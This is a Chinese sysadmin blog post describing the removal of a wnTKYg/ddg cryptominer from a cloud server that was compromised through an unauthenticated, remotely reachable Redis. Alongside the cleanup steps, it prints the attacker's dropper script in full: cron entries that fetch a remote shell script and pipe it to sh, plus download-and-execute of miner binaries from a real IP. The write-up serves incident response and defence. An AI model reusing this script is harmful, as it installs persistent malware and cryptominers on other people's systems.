阿里云服务器被挂马wnTKYg挖矿的清理
-今天早上刚下地铁,女朋友发来微信询问我vpn上不去了,看了一下腾讯云的服务器除了问题,vpn所在文件夹没了,本来打算上班第一件事处理这个事情。到了公司后,测试项目阿里云服务器cpu满载报警,开发那边也说服务器卡慢。
我上去top了一下,多了个wnTKYg进程,cpu占用401%。我天,这还了得,但是不能着急把这个进程kill掉,得看看这个进程的原始文件在什么位置
locate wnTKYg
命令一上屏,遂将这个程序位置暴露出来,竟然在/tmp下。百度查了查据说这个是redis允许远程连接并且没设密码的关系,正好符合我们新项目测试的环境,赶紧打开/etc/redis.conf文件 把bind 127.0.0.1的注释del掉了,重启redis。测试从外部机器上登录redis已经登不上了。
接下来改着手干掉这个进程了,二话不说直接kill -9掉这个进程,cd到/tmp下 把这个文件打个包,传到本地电脑上,有时间研究研究。tar打包并传输完成再次top的时候发现这个进程又复活了,首先想到的是crond里面有计划任务,打开crontab -e查看没什么异常。 cat /etc/crontab
也没有异常。情急之下找到这篇文章http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
处理方法和建议:
- 1.根据这个提示,发现/tmp下还有个ddg.2021文件,这个文件在进程里面也确实存在,直接kill -9 ddg.2021进程和wnTKYg进程的pid。
- 2.然后删除/tmp下的ddg.2021和wnTKYg文件,发现还有个imWBR1文件也一并删除了。/tmp下的带执行权限的文件总会引起怀疑。
- 3.把/tmp文件夹的执行权限去掉,改成644。
-
ls /var/spool/
进去cron里面看了一下,有个叫root的脚本,内容如下:
-
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
直接删除这cron文件夹,OK了
- 5.更改redis只能本地登录,设置redis认证密码。
- 6.关闭挖矿服务器访问:
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
再次ps aux |grep wnTKYg 和 ps aux |grep |ddg.2021的时候没有发现这俩进程。
保险起见ps aux |grep imWBR1 这个是刚刚删除的tmp文件夹下有执行权限的文件,也并没有该进程,仔细检查top之后,发现恢复正常。
总结:
这种挂马钻的空子总是新项目测试项目的redis没有安全防护,用的默认配置,免密远程登录。大家多多注意安全,做好防护。安全生产最重要!
最后贴出来这个挂马shell脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
NETMASK=255.255.255.0